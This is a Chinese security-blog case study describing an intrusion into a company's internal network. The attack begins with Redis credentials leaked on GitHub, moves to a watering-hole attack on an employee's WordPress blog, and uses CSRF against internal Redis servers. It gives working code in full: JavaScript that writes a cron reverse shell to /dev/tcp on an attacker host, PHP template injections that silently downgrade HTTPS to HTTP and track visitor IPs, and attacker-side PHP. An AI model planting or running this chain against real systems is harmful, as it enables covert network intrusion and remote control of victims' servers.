本文《Github & CSRF 组合入企业内网的案例》由ChaMd5安全团队原创投稿安全脉搏,作者为ChaMd5安全团队核心成员blueice,安全脉搏发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。
根据目标企业的一些信息 搜索Github
找到一处配置信息泄漏
如图所示有两个redis配置信息 上面的为外网机器 下面的为企业内网IP
试着redis写入cron来getshell外网的机器,参见《redis配置不当可直接导致服务器被控制》
…….
当然 顺利getshell
但是遗憾的是这个外网机器是某一个第三方VPS 而不属于该企业
也就是这个外网机器是该企业的员工即该github用户的个人测试服务器
继续翻该服务器发现有wordpress博客系统
为水坑攻击提供了环境
我们假设该员工在企业办公内网访问自己的博客 这样我们直接构造一个攻击内网服务器的CSRF代码并嵌入到博客网页里
这里选择内网的redis CSRF攻击 因为redis在内网中的分布很广
而且因为redis良好的容错性 前后不管是否语句错误 只要遇到正确的语句就会执行
因此可以利用JS进行http请求来攻击内网的redis服务
这里用multipart/form-data表单的方式来构造payload
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","authtest123"+"\n"+"flushall"+"\n"+"configset dir /var/spool/cron/"+"\n"+"config set dbfilename root"+"\n"+'set1 "\\n\\n*/1 * * * * /bin/bash -i >& /dev/tcp/1.1.1.1/80800>&1\\n\\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://1.1.1.1:6379",true);
xmlHttp.send(formData);
</script>
用这种方式的原因是 每条redis命令间需要换行 因此用常规的post请求或在http header头上构造是没用的 换行符没有意义
如图 每条命令间都是显式的换行分割的
当这个请求包发送到redis后 会一行一行的执行 错误的命令执行失败 正确的命令则执行成功
所以说redis的兼容是挺强大的执行错误后依然会尝试执行后面的语句
不过很可惜这个博客是https的 所以无法在https站内异步请求http资源
多次尝试绕过无果后 想到一个自我感觉最佳的方案
在nginx.conf上 添加http站点的设置 并指向同一个博客目录 /var/www/html/blog
然后写header.php 和footer.php
header.php
<?php if($_SERVER['SERVER_PORT'] == 443){ if(file_get_contents("http://1.1.1.1/111.php?ip=".$_SERVER['REMOTE_ADDR'])==0){ header("Location:http://www.blog.com".$_SERVER['REQUEST_URI']); exit(); } } if($_SERVER['SERVER_PORT'] == 80){ if(file_get_contents("http://1.1.1.1/222.php?ip=".$_SERVER['REMOTE_ADDR'])==1){ header("Location:https://www.blog.com".$_SERVER['REQUEST_URI']); exit(); } } ?>
footer.php
<?php if($_SERVER['SERVER_PORT'] == 80){ print <<<EOT <script> var xmlHttp; if(window.XMLHttpRequest){ xmlHttp = new XMLHttpRequest(); }else{ xmlHttp = newActiveXObject("Microsoft.XMLHTTP"); } var formData = new FormData(); formData.append("0","authtest123"+"\\n"+"flushall"+"\\n"+"configset dir /var/spool/cron/"+"\\n"+"config set dbfilename root"+"\\n"+'set1 "\\\\n\\\\n*/1 * * * * /bin/bash -i >& /dev/tcp/1.1.1.1/80800>&1\\\\n\\\\n"'+"\\n"+"save"+"\\n"+"quit"); xmlHttp.open("POST","http://1.1.1.1:6379",true); xmlHttp.send(formData); </script> EOT; echo "<imgsrc='http://1.1.1.1/111.php?c=1&ip=".$_SERVER['REMOTE_ADDR']."' border='0'style='display:none;'/>"; echo "<imgsrc='http://1.1.1.1/222.php?c=1&ip=".$_SERVER['REMOTE_ADDR']."'border='0' style='display:none;'/>"; } ?>
把这两个内容分别嵌入到博客模版里的header.php和footer.php文件里 以便博主访问哪个页面都能触发上面的操作
攻击者的服务器 111.php && 222.php
<?php $ip = base64_encode($_GET['ip']); $f = fopen('list2.txt','r'); $contents =fread($f,filesize('list2.txt')); fclose($f); if(strpos($contents,$ip)!==false){ echo '1'; } else{ if($_GET['c']==1){ $f = fopen('list2.txt','a'); fwrite($f,$ip."||"); fclose($f); } echo '0'; } ?>
所以整个流程就是博主访问https站点,然后后端判断是请求了443端口,于是先判断客户端ip是否是第一次访问,
如果是第一次访问则302跳转到http站点,接下来后端判断请求了80端口,于是判断客户端ip是否是第一次访问,
如果不是第一次访问则302跳转到https站点,这里因为是第一次访问所以放行,然后到footer.php里,判断请求了80端口,
于是输出js攻击代码和两个img标签,利用这个img标签写入客户端ip到远程txt文件里,
用前端请求写入的原因是防止博主的客户端未来得及解析js攻击代码又重新刷新了一次网页,
这样其实在上一次请求中后端已经写入了ip到远程文件里,因此下一次就不输出js攻击代码了
整个流程概括就是https 降级到http并输出js代码 然后继续访问任意页面重新升到https 以后一直用https访问
并且确保了js代码一定会解析成功后再写入ip到远程文件
该方案还是有明显的缺陷 中间会访问一次http站点 不过对于常规的程序员的安全意识来说 察觉几率不是很大
如果花点时间精心构造的话察觉几率会更加缩小
重返github继续搜索该企业内网redis服务
并把这些内网ip全部构造到博客ajax请求里
……..
耐心的等待2周
成功反弹内网shell到攻击者服务器
PS:防止泄露企业信息 本文章主要以文字为主
安全脉搏小编语:从员工私有的个人博客(即外网vps)水坑定向攻击到内网的redis机器,成功反弹到内网shell,攻击要素里面有解决问题的经验、思路和耐心及一定量的运气;从企业员工角度来说,安全意识这种东西不是听听就可以的,不仅仅要注意公司服务安全,也要理清个人服务及信息安全,最好做到个人公司分开,尽量少在公司访问私自服务。
本文《Github & CSRF 组合入企业内网的案例》由ChaMd5安全团队原创投稿安全脉搏,作者为ChaMd5安全团队核心成员blueice,安全脉搏发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。